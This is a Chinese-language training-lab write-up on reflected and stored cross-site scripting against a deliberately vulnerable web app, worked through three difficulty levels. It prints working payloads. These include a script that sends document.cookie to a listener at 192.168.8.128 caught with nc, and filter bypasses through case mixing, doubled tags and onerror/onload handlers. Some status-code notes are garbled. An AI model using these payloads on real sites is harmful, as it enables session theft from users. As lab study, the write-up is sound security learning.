Xss-reflected/stored跨站脚本分析(Cross site scripting)
Xss-reflected/stored跨站腳本分析(Cross site scripting)
基礎知識
針對Dom - dochtml
Url概念:協議+網址/dns+端口+路徑
XSS原理:對URL中的參數和對用戶輸入提交給web server的內容,沒有進行充分的過濾。如果我們能夠在web程序中對用戶提交的URL中的參數,和提交的所有內容進行充分的過濾,將所有的不合法的參數和輸入內容過濾掉,那么就不會導致“在用戶的瀏覽器中執行攻擊者自己定制的腳本”。
?name=<script>alert(document.cookie)</script>#
?
Php 會話id
Kali監聽
Nc -nvlp ?測試網絡連通性
192.168.184.195
新建標簽
<script>var img=document.createElement("img");img.src="http://192.168.8.128:1234/?a="+escape(document.cookie);</script>#
?
Post 上傳參數
Get獲取參數
狀態數值:
100
200 ok
400 服務器客戶端問題
500 服務器客戶端問題
實訓過程
Reflected型
初級:直接寫腳本語言
?name=<script>alert(document.cookie)</script>#
?
中級:大小寫繞過、雙寫繞過
此處將<script>替換成了空格,所以可以大小寫繞過或雙寫繞過
?
<scRipt>alert("666")</sCript>
<sc<script>ript>alert("666")</sc<script>ript>
高級:標簽繞過
由源碼可知,通配符過濾了/ script 而且無關大小寫
<img src=1 οnerrοr=alert(document.cookie)>
<body οnlοad=alert(document.cookie)>
?
原理
?
stored型
看源代碼,Name和message相比,防護性較低
其中:
stripslashes() 刪除字符串中的反斜杠 /
mysqli_real_escape_string() 對特殊字符進行轉意 \n \r \t
所以無法直接在前端上傳腳本,用bp抓包,修改數據后,再發給服務器即可
?
初級:bp抓包,改數據,寫腳本
?
中級:大小寫繞過、雙寫繞過
<scRipt>alert("666")</sCript>
<sc<script>ript>alert("666")</sc<script>ript>
?
高級:標簽繞過
<img src=1 οnerrοr=alert(document.cookie)>
<body οnlοad=alert(document.cookie)>
?
結果驗證:均可彈出cookie窗口
?
總結
以上是生活随笔為你收集整理的Xss-reflected/stored跨站脚本分析(Cross site scripting)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: moodle4.04无法上传中文文件名
- 下一篇: EJB详解